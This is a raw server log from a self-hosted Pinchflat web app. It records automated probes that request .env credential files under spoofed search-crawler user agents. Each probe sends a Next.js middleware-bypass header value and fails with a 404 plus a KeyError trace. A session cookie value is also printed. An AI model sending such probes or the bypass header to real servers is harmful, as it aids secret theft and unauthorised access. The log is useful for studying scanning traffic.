{PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29562.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.old", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33558}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29562.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.old", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33558}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assig (truncated) 16:49:05.589 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.589 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:05.589 [error] #PID<0.29567.0> running PinchflatWeb.Endpoint (connection #PID<0.29566.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.env.prod ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29566.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.prod", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33576}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29567.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/.env.prod", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61T-b8295BdUABvrh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29566.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.prod", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33576}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29566.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.prod", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33576}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined (truncated) 16:49:05.589 [error] #PID<0.29565.0> running PinchflatWeb.Endpoint (connection #PID<0.29564.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /api/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29564.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33566}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29565.0>, params: %{}, path_info: ["api", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/api/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61T-YO-XsRJ0ABvrB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29564.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33566}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29564.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33566}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", strea (truncated) 16:49:05.593 [info] GET /.env.bak 16:49:05.593 [debug] QUERY OK source="settings" db=0.0ms idle=5.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.593 [debug] QUERY OK source="settings" db=0.0ms idle=4.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.593 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:05.593 [error] #PID<0.29569.0> running PinchflatWeb.Endpoint (connection #PID<0.29568.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.env.bak ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29568.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33588}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29569.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/.env.bak", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61T_hpRZ-jz0ABvsB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29568.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33588}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29568.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33588}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" (truncated) 16:49:05.595 [info] GET /admin/.env 16:49:05.595 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.595 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.595 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:05.595 [error] #PID<0.29571.0> running PinchflatWeb.Endpoint (connection #PID<0.29570.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /admin/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29570.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33592}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; +https://openai.com/searchbot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", 